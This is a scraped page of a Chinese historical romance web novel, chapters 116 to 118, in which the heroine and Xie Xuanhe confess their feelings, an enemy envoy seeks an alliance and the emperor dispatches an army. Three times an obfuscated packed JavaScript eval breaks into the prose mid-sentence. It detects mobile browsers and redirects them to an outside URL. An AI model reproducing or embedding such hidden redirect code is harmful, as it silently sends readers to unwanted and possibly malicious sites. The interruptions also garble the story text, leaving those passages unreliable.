片刻后,木桶里响起轻柔的水声,黎书意正视着二人,一开始她以为牵连不到她们,所以觉得还是不说为好。 后来,她发现牵连到了她们,便想要在事情爆发之前将她们遣散,可是她们到底没能逃开,最终不得不跟着她逃亡至此,她心里有种把人拉入泥塘的愧疚感。 “怪我瞒着你们吗?”她问。 舒凌寒摇头道:“二姑娘也是为我们考虑。” 她心中仍是过意不去,“这事原和你们无关,可是我却连累你们落到这样的境地……” 富春姑姑闻言接话:“二姑娘不必把责任全揽在自己身上,皇帝猜忌多疑,即便没有这事,将军府也安稳不了几天。” 这话说得确实没错,毕竟从那封圣旨开始,她便一直在亲身体验了。 长叹一口气,她活络气氛,没再说扫兴的事,转而聊起了山庄里各处的景致。 当她沐浴梳洗完,黎家军已经在山庄演武场外围和山麓之间的平地上搭建好了营房,晚饭也备好了。 劫后余生,自是得好好庆祝的,要犒赏的有千余人,阵仗自然很大,只见营房外食案罗列,案上美食琳琅满目,烤得金黄酥脆的牛羊肉串,汤汁浓稠的炖菜,麦香热烈的面饼……每一道菜肴都让人口舌生津,食指大动。 这样的晚宴黎书意近来经历过好几回,不过都没这顿丰盛,也没这顿尽兴,不用再担心突然被发现踪迹,大家放肆地吃肉喝酒,放声地谈天说地。 黎书意也倒了杯酒加入狂欢,她放下一切,尽情享受着胜利的喜悦,直至深夜才归院。 连日的颠沛流离,吃不好也睡不饱,她早已身心俱疲,晚饭时又饮得多了些,这夜她一沾枕头就睡了过去。 次日醒来,已经日上三竿,她打着哈欠掀开被子,见舒凌寒走上前来挂帐帘,她带着初醒时的慵懒鼻音问:“怎么不早些叫我?” “姑姑说您近来累了,该多休息一会。”舒凌寒回道,旋即又问,“要婢子现在去端洗脸水吗?” 黎书意点头,然后看着面前的少女,她曾是自己的大丫鬟,然而已经离府两年多了,现在突然又做起从前的事来,这难免令黎书意有些恍惚,“怪不怪我,你好容易有独立的机会,如今什么都没了?” 舒凌寒闻言一顿,随即摇头说:“我始终还是将军府的一份子,所以不管怎么样都逃不开,再说就算逃开了,我一个人也不知道要受多少欺负,对于我来说,将军府就是依靠的大树。” 黎书意笑了,果然还和从前一般理智诚实,她下床穿鞋,“去备水吧。” 饱饱地睡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545774|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一觉,此时她精神格外充足,洗漱完便出了院落,打算随处走走。 这个辰点,寒凉消退,暖阳高照,院落里佳木葱茏,空气格外清新,贪婪地吮了一口空气,她沐浴着阳光往外走去。 站在山腰处俯瞰,眼前豁然开朗,近处,山上林木青翠,郁郁葱葱,山脚流水涡涡,宛如玉带;远处,房舍星罗棋布,道路阡陌纵横,整座城镇在晨阳的照耀下,闪烁着迷人的光芒。 视线一点点回挪,她看见了昨天傍晚搭建起的军帐,它们或是绵延数余丈,或是错落地散布于山麓之间,仿佛飘过的低矮云朵。 在演武场东侧不远处,一座名叫忠义殿的殿前,她瞧见了谢烜赫的身影,他身穿月魄色锦袍,面对几百名祈安阁暗卫肃然而立,正指挥若定地交待着什么。 再移目向左看,发现演武场正中央满是人,父兄和叔父三人立在台阶上,下面站着黎家军的近千名将士,他们个个神情肃然,昨日放纵的模样似乎只是幻觉。 见到了这两幕,她刚才那股闲适顿时消失得无影无踪,雀跃的心开始往下坠去,落不到实处。 是啊……安定只是暂时的,皇帝怎么可能会放过他们呢,尤其是在经历了昨日的溃败,恐怕现在他已经愤怒到了极点,恨不能将他们碎尸万段呢。 明明他们只是为了自保而已,结果代价却像是滚雪球般越来越大,如今已然不能回头了,她完全看不清前路在哪里了。 “在想什么呢?”怔忡间,一道清越的声音将她从迷雾中拽出。 她偏头,见刚才还和下属说话的谢烜赫不知何时走了过来,不想提心里的烦忧,她便转了话题道:“在想这山庄果然风景很不错。” “你喜欢就好。”谢烜赫温声说,旋即又问她,“接下来要去哪?” “无事,不过向父亲请安罢了。” “一起吧。” “嗯。”她点头。 两人说着便一道往前走了。 …… 孟章,金銮殿内。 “哼!”御座之上,景帝暴喝一声,将刚从陵光呈递上来的折子狠狠掷在地上,对殿中群臣怒目而视道,“看看,这就是你们出的好主意!” 百官肩膀悚然一抖,个个将头埋得低低的,噤若寒蝉。 景帝骂完仍不解气,可顾忌着自己的身份,只得拼命压抑坏情绪,他紧咬着后槽牙,从鼻腔里呼出浓重的粗气。 在判断出那几个毛头小子逃亡的终点是陵光以后,他便下令让附近的官员严加盘查,却没料到失去踪迹的黎横天居然横空出世,不仅打伤了不少官差,最终还与那群人合兵一处了。 想着也就千来人,他还有机会,他便命刘芳林和吕昇分派府兵严守陵光各个关口,务必将其一网打尽,哪知五千兵马竟然还是斗不过。 折子上回报说他们逃到了陵光外城的一座山庄里,暂时无任何动作。 谢烜赫……没想到他居然在陵光还霸占着一座山头,这是打算建立自己的小朝廷吗? 116. 画像 防御公事在紧锣密鼓地进行当中,山庄里每天都是一派忙碌的景象,孟章那边虽然暂未传来出兵的消息,但想来不会太久的。 黎横天、黎长策、谢烜赫、黎裕和其他几位部将时常聚在一起商讨战术,布置防线,分配兵力,其余军士们则忙着加固城墙,设置陷阱。 见众人皆在做事,黎书意也想出一份力,行军打仗她不在行,只能从其他方面下手,她和其他女眷帮忙切药材,熬汤药,打饭菜…… 这日下午,她带着天元姑姑做的冰饮去城楼慰劳军士,东西才刚分发完,见一名暗卫推着一车东西走了过来,询问谢烜赫:“主子,这些东西如何处理?” 黎书意往车上瞧一眼,见上面挤满了箩筐,筐里物什非常杂乱,这个装着瓜果,那个装着肉类,再细看,有的居然还绑着生禽。 看出了她的疑惑,一旁的纯钧解释说:“都是城里百姓送来的。” 她了然地点头,看来先王爷在陵光当真受民众爱戴,才会有今日瓜果盈车的景象。 感慨完,她偏头望着谢烜赫,只见谢烜赫道:“用的放到库房,吃的便喂马吧。” 黎书意并未觉得这做法不妥,保不定有人借着百姓的爱戴之情投毒,虽然有些不近人情,但这是最理智的做法。 在城楼略待了一会,她转去膳房帮忙洗菜,原本她还想切菜和煮菜的,却被大伙以那可能是帮倒忙给劝住了,她只好作罢,然后独自回院落去了。 午后阳光明媚,闲来无事,她把用得到的日常生活物品从箱子里拿出来,安置在这个不知道会待多久的居所。 正弄着,谢烜赫走了进来,他手里抬着一个托盘,托盘里装着草莓,他将托盘放到案上道:“从后山果园里摘的。” 黎书意放下手上东西,目光移到今晨刚备的苹果果盘上,无奈地说:“这里每日都有备,哪还需要你送?” 谢烜赫却执着道:“我想你在这待得舒服。” 既如此,那她便却之不恭了,从果盘里拿了一颗草莓,她送入口中慢慢咀嚼,美味的汁液瞬间在口腔中四溢开来。 此刻,她不止嘴里甜,心里也甜,安排最好的住处,庄里的人对她客气而友好,她在这里待得很舒服。 下一刻,她忽然想到了面前之人逃亡前的若即若离,于是掀起眼皮瞅着他,开始秋后算账道:“怎么,这下不避嫌了?” “不避了。”听见质问,谢烜赫凝视着少女的双眼,认真地说。 少年的目光专注而真挚,像深不见底的大海,看一眼就会沉溺其中,黎书意心荡神迷,她慌忙避开了视线,嘴里却不满道:“你想要,就来引.诱我,不想要,就刻意疏远我,哪有这么好的事。” 虽然清楚他的顾虑,但是这种感受很不好,她可不想这么轻易就揭过,她不喜欢被牵着走。 “以后无论何事,我都不会放开你。”少年一字一句道,语气真诚,清风白露的声音令人心旌摇曳。 她闻言望过去,见谢烜赫正目光灼灼地注视着她,那眼里燃烧的火焰顷刻间烘热了她的脸,她赧然敛目,轻咳一声,咕哝道:“我还没答应你呢……” “那你答应吗?” 下一刻,她的手忽然被抓住,那骨节根根分明的大掌包裹着她的手,看了一眼贴在一起的手,她将视线重又移到少年脸上,其实,这个问题根本不用思考。 腻人的热度源源不断从手背传过来,似乎她不回答就不放手,沉默良久,她故作严肃道:“再有下次,我绝不原谅。” 话音刚落,一股外力从被拉着的手上传来,然后她便跌进了少年的怀里。 她没有推开,反而在少年宽大的怀抱中偷偷弯唇,垂在两侧的手也缓缓上移,最后圈住了少年的蜂腰。 房间里很安静,静得只能听见他们彼此的心跳声。 “小妹。” 忽然,走廊外传来声音,听见兄长在叫自己,黎书意下意识推开了谢烜赫。 “你们在干什么呢?”兄长已经走了进来,有些奇怪地看着他们。 被人撞见私会就有够糟糕的了,况且这人还是自己的兄长,黎书意尴尬极了,她的脑袋此刻如同浆糊一般粘稠,不知该如何回答,于是便装作没听见。 反倒是谢烜赫,一脸镇定地解释说:“我来送草莓。” 瞥了眼案上的苹果与草莓,黎长策不敢苟同道:“这里有的是人照顾她,你现在又不需要扮作她的侍卫了,用不着伺候她。” 虽然谢烜赫说的也算事实,但过程有所偏移,两人的对话黎书意听着心虚,她适时开口转移话题问:“兄长,你找我何事?” “哦,也无甚大事,”黎长策说,“就是想问问你我那块墨玉麒麟佩在不在?” “那是你前年生辰静仪送你的,我岂会不带上。”她想了一下道,“我记得应该在你那个木雕嵌白玉的匣子里,要是不在,你去问问富春姑姑。” “嗯。”黎长策点头,瞥了眼自家小妹,旋即望向谢烜赫,“正好,我有事同你商量。” “好。”谢烜赫点头。 说着,两人一道往外走去。 见他们的身影消失在房门口,黎书意一骨碌坐到榻上,她愁眉苦脸地叹气,也不知道兄长看见没有。 同时心里又有点担忧和抱歉,其实她刚才的行为对谢烜赫而言还挺过分的,有种过河拆桥的感觉。 屋外,走出房门几步远,黎长策停下脚步,他望着自己的好兄弟,质问道:“老实说,我进去前你们在干什么?” “你不都看见了吗?”谢烜赫未加掩饰。 黎长策听后轻嗤一声,并未多说其他。 …… 清晨,山峦间轻纱般的薄雾缓缓散去,阳光穿透树梢洒下斑驳光影,鸟鸣声此起彼伏,清脆悦耳。 梳洗毕,黎书意照例去向父亲问安。到得院中,进入正厅,见兄长也在,一家三口闲话了几句,然后兄妹俩一同出门,顺路而行。 走至半路,黎书意看见谢烜赫正同纯钧、方天、龙胆和偃月四大暗卫谈事情,自昨日被她推开,他就没来找过她,她猜测他应当是生气了。 “不讨厌他了?”神思飞远之时,忽听到兄长的声音,她回神,见兄长也正看着谢烜赫。 不知道兄长突然这么问是何意思,她便含糊地说:“都一起经历了生死,早不讨厌了。” “嗯。”兄长煞有介事地点头,接着转过脸来笑看向她,“我看是不仅不讨厌,还很喜欢吧?” 瞧见他揶揄的表情,黎书意的脸开始发烫,羞愤道:“你昨日果真看到了!” “嗯,看到了。” 听见宣判的话,她尴尬地垂下了头,闺阁女子与一个男子搂抱在一起多少有些不成体统,她干咳一声,声若蚊蚋般道:“抱歉,故意瞒着你……” “噗嗤。”话音方落,听见头顶爆发出爽朗的笑声,“真当你们瞒得住?” “嗯?”她惊疑地抬起头。 “就你们那眉来眼去的模样,我能看不出来?”见自家小妹一脸懵懂,黎长策好心解释道,“我也就是最近事多,顾不上说罢了。” 黎书意闻言蹙眉回想,他们有吗? 老实说,谢烜赫无论长相,还是才学,抑或者是人品都是一等一的,没所谓的拿不出手,她之所以无法坦荡荡的,很重要的一点是因为他们曾经不对付,而且家里人也都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545775|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知晓。 偷瞟一眼脸上依旧带笑的人,她有些好奇兄长的看法,沉吟了片刻,遂嗫嚅着问道:“你会不会觉得奇怪,我和他从前明明相看两厌……” “相看两厌?”黎长策定定望着低眉垂眼,两腮含粉的妹妹,无奈地摇摇头,叹息道,“我家小妹在读书上是极聪明的,可是在感情上多少有点不开窍。” 黎书意蹙眉,“什么意思?” “自己想。”黎长策留下这句话便走了。 望着那道渐行渐远的背影,黎书意丈二和尚,摸不着头脑,目光回移到谢烜赫身上,见他还正在忙。 她想还是等午间寻个机会道歉,然后再顺带探探情况,轻叹口气,她转身折道回小院了。 今天上午没什么需要她帮忙的,想着找本书打发时间,她最终推门进书房了。 书房很大,清供齐备,古韵高雅,原本以为像这样的临时居所藏书应该不多,结果出乎她的意料,书架上摆满了书。 她走到书架前,眼睛漫无目的地在书脊上划过,转了一圈,最终拿出一本《六韬》,考虑到目前的情况,她觉得自己该补充点兵法知识,没准以后能用上。 挑定之后,她抱着书本来到书案前,将书搁下她拉开椅子坐下,在调整坐姿时,发现了旁边的青花瓷大缸。 瓷缸里仅装着一卷画轴,孤零零的,很是突兀,她一时好奇,便伸手拿了过来。 拉开红绳,她将画轴放到案上铺开,画上的内容随之显现,一大片的红色映入眼帘,似乎是女子的裙摆。 这是女子的画像! 她心里愈发好奇了,加快手指拨弄的速度,等画轴彻底展开,看清了画中女子的容颜,她瞪大了眼睛,身体陡然顿住。 画上的人竟然是她,而且现在她看出来了,这身衣服是她及笄那日穿的。 这里为什么会有这样一张画像?她敛目沉思。 这是谢烜赫的山庄,这画莫非是他画的?可他为何画自己呢?盯着画上的自己,她满脑子疑问。 愣怔之际,耳边传来脚步声,她闻声抬头,看到谢烜赫正跨门而入,两人的视线就这么撞在一起。 紧接着,见谢烜赫视线下移,往桌案上瞟过来,顺着他的目光,黎书意低下头,然后便看见了在自己面前铺开的画像。 诡异的气氛开始蔓延,两人都没有开口,书房一时沉默下来。 黎书意真不知道该说什么,她既有未经允许擅自动主人东西被抓包的羞愧,又有无意间窥见了主人隐私的尴尬,关键画上的人还是自己。 半晌,谢烜赫终于动了,迈步朝她走了过来。 谢烜赫没想到自己一进屋便会撞见这样一副场面,看到那副画像时,他不禁一愣。 这画是他一年多以前画的,休沐在家的日子里,他大半时日都是在这里渡过的,主要是为了监管山庄的建设,同时也处理一下阁中的事务。 闲下来时,他难免会想到黎书意,抑制不住思念时便作了这样一副画。 作画的过程几乎是一气呵成,少女靓妆艳服,琼姿花貌,美得不可方物,他对自己的画作十分满意。 欣赏完了,他搁下笔,将手放到画纸边缘摩挲,画上的少女有自己的情郎,他们郎情妾意,她的父母也都赞同了…… 那一刻,他为自己的行为不耻,想要撕掉,可到底舍不得,犹豫再三还是留了下来。 家里是不能带回去的,所以这画最后便放在这里了,他偶尔过来时会拆开来看看,倒是没想到有朝一日竟然会被本尊给发现了。 看见便看见罢,总归今时不同往日,见呆愣望着自己的少女,他平静地开口道:“想问什么便问吧。” 117. 解误 黎书意的目光追随着徐徐走近的少年,除了初时的震惊,他的脸色可以称得上镇定。 低头扫一眼画,她到底耐不住好奇心,试探着问:“所以你那时就……”后面的几个字她实在不好意思说。 “不,”谢烜赫看向她,口吻认真地说,“比那时候还早。” 什么?!竟然比及笄之年还早吗? “那是什么时候?”嘴巴比脑袋快,她一时控制不住,竟然将心里话就这么问了出来。 只见谢烜赫定定注视着她,目光如同和熙的春光轻柔地洒在她的脸上,半晌后回道:“你忘了,我们是有过娃娃亲的。” 闻言,黎书意的眉毛猛地扬起,瞬间张口结舌,满脸的不可思议。 娃娃亲这事她当然记得,因为两家关系亲近,所以在她出生时双方父母就口头约定过,甚至少时还曾当着面打趣,不过那时她对成亲很是懵懂。 后来,年岁大了,知道了成亲的含义,虽然还记得这事,但她依旧没将其放在心上,他们一无婚书,二无信物,与林静仪和那昌顺伯世子的情况完全不同。 她明白双方父母之所以留了一线,是因为照顾着他们的想法,担心长大后的他们对彼此无意,不想制造怨侣。 黎书意始终认为谢烜赫和她一样,是不会被这桩不正式的娃娃亲所束缚的。 现在听到这句话,她无法形容自己的心情,隔了老半天,才终于憋出几个字:“我一直以为你很讨厌这份口头婚约的。” 不曾想谢烜赫竟然从一开始便是认真看待的,思及此,她的脑袋开始嗡鸣,回想起这几年自己都做了些什么,她视婚约为无物,和别的男子许终身,关键这男子还是他的堂兄。 “对不起……”良久,她心情沉重地说,因为以为谢烜赫是不喜这份口头婚约的,所以她在与谢煜然往来时从未避讳过。 忽而,她又想到了什么,急忙抬眼求证似的问:“所以你以前并非讨厌我?” 问完以后,仍是觉得难以置信,又道:“可是你我初见时你明明……” 说起这个,谢烜赫多少有些后悔,他清楚地知道,就是因为初次见面时对他印象不佳,才导致黎书意后面不喜欢他,难得今日有机会,便解释清楚吧。 “在去将军府拜访之前,我先随父王母妃去了皇宫,当时我们一家三口去面见帝后,谢煜然也在场,我和他年岁相仿,自然就玩到了一起,他问我会下棋吗,我答会,于是我们便摆开棋局对弈,我俩棋力相当,整个过程彼此都很投入,也很愉快。快结束时,四位大人走到棋桌前,最后是我赢了那局棋,皇帝笑赞说我同父王少时一样聪慧过人,将来必成大器,我虽年少,但能感觉出他的神色不是太好。”谢烜赫回忆着自己初次意识到君臣有别的那一刻。 “出宫门以后,待坐上了马车,母妃便叮嘱我说,要我在孟章的这段时日务必万事谨慎,以后行事要谦逊,不可过度展露才华,当时我年少,不甘心被约束,所以有些郁郁不乐。到你家后,见你父母对你和兄长疼爱有加,从不加以苛责,我心中便愈发不好受了。” 原来这就是他一露面就木着一张脸的原因啊……黎书意了然地轻点了一下头,谢烜赫少时面临的处境,身为下臣亲眷的她完全能够明白。 第一次好意接近致她落水是意外,她不怪他,可后来她还主动接近了一次呢? 看出她的好奇,谢烜赫轻咳一声,尴尬地说:“你当时看见的那块玉佩是母妃在我五岁时送我的。小时候,母妃与我极为亲近,她会将我抱在怀中,绘声绘色地给我讲故事,还会耐心地陪我玩耍,看着我嬉笑打闹,我背诗、写诗、作画时,她从不吝啬夸奖我,看到你家的相处方式,我难免想起了童年时候的事,正沉浸其中之时,你便过来了,我不想让你看见我的脆弱,所以就下意识地回避了……” 黎书意在心底叹气,虽然谢烜赫较同龄人稳重成熟,但彼时他到底只是一个十岁的孩子,内心自然是渴望母爱的,尽管明白昭王妃的考量,可对孩提时代的谢烜赫来说,这么做还是有些残忍的,她听后,心中多少涌起一丝同情。 好吧,小时候的误会算是完全解开了。她不是一个记仇的人,并不会对七八岁时闹得不愉快耿耿于怀,她更在乎的是之后。 因着兄长与谢烜赫交好,两人联系不少,兄长又常在她耳边赞他诗文如锋发韵,画作笔精墨妙,透过两人往来的书信,她能看出来他的确是一个言之有物、学识渊博的少年,所以当知道他要上孟章读书时,她是抱着交好的打算的。 然而,再见的那一天,他对她的态度比之小时候还要冷淡,而且自那以后,但凡他看见她,要么冷着一张脸,要么面露鄙薄,偶尔还轻讽两句,很多时候她觉得他的情绪简直莫名其妙。 回忆起从前那些不愉快的经历,她心里不免升起了一丝郁气,不过此时更多的是好奇,她倒是想看看他会如何解释,于是便问说:“那之后呢?” 说毕,她好整以暇地望过去,却见那一向沉静的黑眸里竟然闪烁着几丝纠结与迟疑。 有什么不能说的吗?她皱眉。 等等,脑袋里忽然有灵光闪过,她似乎窥到了一点什么,不禁蹙眉细想。 再遇的那日,他并非一开始就对她态度极差的,虽然他为人冷淡,他们也没说过几句话,但至少气氛还是不错的,似乎是在谢煜然出现之后,他的神色才一点点淡下来,难不成…… 她探求地向谢烜赫望去,两人的视线对上,她看见了他目光里的无措,以及脸上的窘迫,看样子他显然明白了她所想,而他的表情也在告诉她,她的猜测是对的。 少年脆弱难堪的模样令黎书意心头狠狠一抽,她觉得自己从前简直罪大恶极。 听了这一席话,她内心的愧疚翻江倒海,现在她是喜欢这个人的,因此所有的情感最终便转化为爱意,心里忽然一痒,想要给面前的人一些安慰,于是她倾身向前。 “你——”谢烜赫原想说你不必有负担,一切都是我自愿的,可才吐了一个字便没声了,无他,嘴被堵住了。 感受到唇上的两片柔软,黎书意惊讶地睁大了眼睛,她原本只想亲谢烜赫侧脸的,怎知他突然转头过来,于是便亲到了嘴上。 事情实在发生得太过突然,她忘记了反应,便是在这时,她感受到唇上的力度加重,脑子彻底停止转动,身体僵直似一尊石像,直到唇上的压力消失了,她还呆愣在原地。 半晌,等反应过来刚刚都发生了什么,她又羞又恼,双眸向少年脸上直扫过去,想斥责两句,可当她看到那盛满热意的眼神,再想到他深沉的感情,就一句重话也说不出了。 屋里是再待不下去了,她腾地侧身,飞奔出了书房。 翻飞的衣袂消失在门口,谢烜赫收回视线,他重新注视着桌案上的画像,看着自己卑微过去的象征。 他也是一个骄傲的人,将心声倾吐给心爱之人并不容易,但是他甘之如饴,想起少女那心疼无措的眼神,再抬手抚摸着唇瓣,回味残余的触感,他不自觉露出了喜悦的笑容。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545776|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >黎书意虽然高傲,但是也很心软。 他将画小心翼翼地卷好,重又插回到瓷缸中,想着以后好好装裱一下,然后挂起来。 随即,他也出了书房,考虑到少女现在可能还没准备好面对他,跨出门槛把门轻轻合上后,他直接离开了。 …… 微风吹拂,院子里草木摇曳不止,阳光穿透层层叠叠的树叶,在地上投出点点碎光,树下纯钧正来回踱步,见主子从月洞门进来了,他急忙迎上去。 “何事?”刚进院的谢烜赫见状问道。 “主子,刚刚守卫巡逻时发现有几个人在对岸徘徊,询问之后他们说是要见您。” “何人?” “为首的那个自称是卢忌。” 卢忌,谢烜赫眉头轻挑,这人他略有耳闻,乃是白榆有名的言臣。 “主子可要见?” 谢烜赫沉吟片刻,旋即回道:“见。” 他大约能猜到对方千里迢迢来此的目的,且听他说说又何妨。 “把他们带来吧。”说罢,他径直朝外走去。 卢忌和随行人员被强押着进入山庄,到了山庄内部,一干随从被留在城楼处看守,卢忌则被带着去面见庄主。 前行的一路卢忌一直在东张西望,打量着这个风景如画的地方,心下多少有些忐忑。 这次他是带着陛下的任务来的,白榆与西景交战多年,两国互相想吞并彼此,然而谁都没法做到,尤其西景的大将黎横天最是让陛下头疼。 近来,陛下很是高兴,透过安插在西景的奸细,得知黎家居然叛变了,后来又牵扯出景帝残害其弟的阴私,声名在群臣和百姓间大损,威望尽失,如此好的机会,白榆岂能不把握。 于是,陛下便派自己作为说客,来劝昭王世子和黎家父子归顺,这样一来,吞并西景指日可待。 尽管此刻被像犯人一样对待,但他却信心十足,毕竟这地方再不错,可统共也就一千来人,迟早被灭,他劝说的胜算很大。 走了一路,他想了一路,等反应过来,人已经被带到了议事厅中。 只见坐北朝南的主位上坐着一个俊逸男人,说是男人并不准确,尽管这人不苟言笑,但眉目间还尚存青涩之感,他知道这应该就是昭王的遗子谢烜赫了。 此子长得面如冠玉,气质卓绝,果然是凤表龙姿,在心里夸赞完,他连忙拱手施礼道:“见过世子。” 座上的人毫无反应,像是没听见他的话。 卢忌早有预料,并不在意,他立马自表身份道:“鄙人乃卢忌,是白榆的侍中。” 上座,听得对方报完身份,谢烜赫终于掀起眼皮,瞥了下首的人一眼,他漫不经心地问道:“白榆使者找我何事?” “鄙人是奉陛下之命,来与世子求合作的?” “合作?”谢烜赫语调上扬,旋即平静地指出,“白榆和西景可是敌人。” “景帝不仁,为了一己之私,不惜设计构陷您的父王,残忍屠戮昭王府两百余口性命,白榆可以帮世子报仇。” 真是一个令人心动的条件,然而谢烜赫听了却无一丝一毫的波澜,虽然他与皇帝不共戴天,但绝不会用这种方式把百姓把国家牵扯到其中,若是想,他就不会等到今天了。 卢忌小心观察着这位昭王世子的神色,发现此子并未被打动,见利诱不行,他便只能从其他方面想办法了,沉吟片刻,他直戳要害道:“这山庄虽易守难攻,可即便庄中的人再是良将精兵,但是一千人能维持多久呢?” 118. 攻山 黎书意斜倚在榻上,望着窗外的风景思绪翩跹。 这个早晨发生了太多事情,拼命挤压着她的大脑,先是从兄长那里得知谢烜赫早就对自己有意,接着被谢烜赫告知他竟然从一开始就是喜欢自己的,这简直是她想都不敢想的。 从初见到现在,将近十年的光阴,是他们人生里一半的时光,并不算短暂,她无法想象他是如何坚持下来的,尤其自己从前待他并不友好。 她努力回忆过往,想要抓住自己从前错过的细节。 再见时,谢烜赫应该很期待,情窦初开的年纪,满心欢喜地去见自己心怡的女孩,结果却发现她身边另有他人,那该是何等的失落与伤心。 她越是回想,记忆便越清晰,谢烜赫转喜为悲的表情在她脑海里一次次重现,心里不禁酝酿出深深的自责,自己到底在无意中对他造成了多大的伤害。 而且,从前那些令她不满的,气得牙痒痒的场景也变了味道,现在她知道那些举动并非出于鄙夷和不屑,而是在吃醋。 愧疚感过去,她心里又升起了惶恐,对被人放在心上十年而感到压力,她不觉得自己有那么大的魅力,对象还是谢烜赫这样的天之骄子。 一整个上午,她从这里想到那里,一会愧疚,一会欣喜,一会烦恼,午膳的山珍海味在口里变成了无味的腊块,她一点点消化着谢烜赫的感情。 草草吃过饭,她换了一身衣裳,然后便出去了。 因为画像的打岔,她还未为昨日之事道歉,尤其现在就更有必要了,她独自一人去了谢烜赫的院落。 人还未进去,先看见父兄从里面出来,两人边走边聊,似乎在为什么事情而烦恼,压根没看见她。 想着来找谢烜赫的理由不好解释,她便没有上前打招呼,等人走远了,方才拐进院落。 …… 谈话已经结束,客人也已经离开了,谢烜赫却还坐在原地,方才,他将黎世伯和长策叫了过来,告知他们卢忌游说之事,与他一样,他们一口否决了。 可是有一点,卢忌说的却是对的,寡不敌众,纵使这里位置再优越,将士再精锐,在绝对的人数压制上,他们也还是没有胜算的。 拒绝了合作,他们未来该如何走呢? 黎书意进入屋中时看到的便是谢烜赫皱眉沉思的模样,才碰见父兄离开,她知道他们刚刚一定谈了什么要事,心下有些在意,便问:“发生了何事?” 听见脚步声,谢烜赫抬起头来,望见少女脸上的担忧,他没有隐瞒,将白榆使者求合作的事说了。 “鹬蚌相争,渔人得利,白榆皇帝这算盘打得可真响。”听完始末,黎书意忍不住吐槽,她没有追问商谈结果,因为心里很清楚,父亲常年与白榆打战,乃是宿敌,断不会倒戈。 谢烜赫亦不会,虽然他与景帝有杀亲之仇,但到底是景朝宗室,不会以这种方式断送先辈打下的江山。 望着一脸气愤的少女,谢烜赫没有多提自己的顾虑,他把话题引到了别处,问:“找我有事吗?” 闻言,黎书意望了眼前的人一眼,又低下头去,忸怩道:“我是来为昨天傍晚的事道歉的,抱歉当时推开了你……” 谢烜赫有点意外,没想到她会说这个,实话实说,尽管知道她是因为害羞无措,但被推开的那刻他多少有点挫败,仿佛他见不得人似的。 “没关系。”他回道,就像他可以等待十年,等到她喜欢上他一样,他同样可以等她坦然接受这份感情,总之,来日方长。 …… 一轮弯刀冷月高悬天际,禅房内烛火闪灼,青鼎香炉里白烟缭绕盘旋。 景帝打开派去陵光的探子传回的密信,看清信上的内容,他神色一凛,顿时六神无主,只余下深深的恐惧。 拿着信的手控制不住地轻颤,光是黎横天和谢烜赫就有够难对付的了,他不敢想,若是这两人与白榆合作,再对景朝倒戈相向,会是怎样滔天的灾难。 黎横天纵横沙场二十余载,没人比他更熟悉景朝的军务,这简直是在递给对方一把最锋利的剑,他绝不能让此事发生。 夜半,他躺在龙榻上辗转反侧,不安、焦虑和恐惧困扰着他,仿佛有一群蚂蚁在他心上爬动,令他寝不能寐。 熬了整整一宿,次日不到五更他便起床了,洗漱完,他未饮茶,也未吃早膳,坐着发了大半天愁,然后带着一身疲惫去上朝了。 在龙椅坐定,他一扫百官,高声道:“昨夜,朕收到从陵光传来的急报,言白榆的侍中卢忌进入山庄拜访。” 闻此消息,百官俱是一惊,满堂皆静。 少顷,兵部侍郎出班奏道:“禀圣上,虽说那山庄里不过千余人,但黎横天曾是我朝大将军,对军务无比熟悉,绝不能给他们联合的机会,臣以为该马上派兵清缴。” “是啊是啊。”诸位大人连声附和。 曾力劝安抚的朝中清流这次没有再说话,他们很清楚,一旦金错山庄与白榆合作了,这就不是内政,而是两国之事了。 见历来与自己作对的言官们此刻皆噤了声,景帝心里的烦躁稍减,他将目光扫向前列的一人道:“庞安澈,朕命你领两万中央军,务必攻下金错山庄。” 说这话时,景帝的瞳孔不经意地微微一缩,这一次,他定要将那群叛贼连根拔起,再挫骨扬灰。 “臣领命。”庞安澈出列接旨。 …… “唳!”伴随着一声尖啸,一只棕色的游隼从远处飞来,俯冲向山麓某处。 谢烜赫抬起手,让鸟儿落在自己的手臂上,然后扯下了利爪上绑着的密信。 信是从孟章传来的,随着他的身份暴露,祈安阁的据点也暴露了,潜伏的暗卫早在他撤退的命令下抛弃了据点,如今都聚在山庄里,只有少部分不曾被发现的还潜伏其中。 这封信是表姐祖绣萱所书,说皇帝已经命庞安澈带两万精兵前来攻打金错山庄。 阅后,谢烜赫将信揉成一团,然后丢进水潭里,昨天与卢忌会面完他便猜到皇帝会有所动作,因此现下并没有多大的反应。 